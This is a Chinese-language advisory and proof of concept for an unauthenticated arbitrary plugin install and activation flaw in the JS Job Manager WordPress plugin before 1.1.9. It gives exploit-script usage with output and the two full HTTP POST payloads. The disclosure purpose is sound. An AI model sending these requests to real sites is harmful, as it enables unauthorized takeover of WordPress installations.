JS Job Manager < 1.1.9 - 未经身份验证的任意插件安装/激活
插件的 jsjobs_ajax AJAX 操作对已认证和未认证用户均可用,但未进行适当的授权和 CSRF 检查,尤其是在使用 installPluginFromAjax 和 activatePluginFromAjax 时,这可能允许未经身份验证的攻击者从 WordPress 仓库安装任意插件并(在某种限制下)激活它们。
对插件版本没有任何控制,因此会安装插件的最新版本。
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
要安装插件:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
要激活插件(此处存在一个限制:插件必须包含 /.php 文件,否则将无法激活):
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>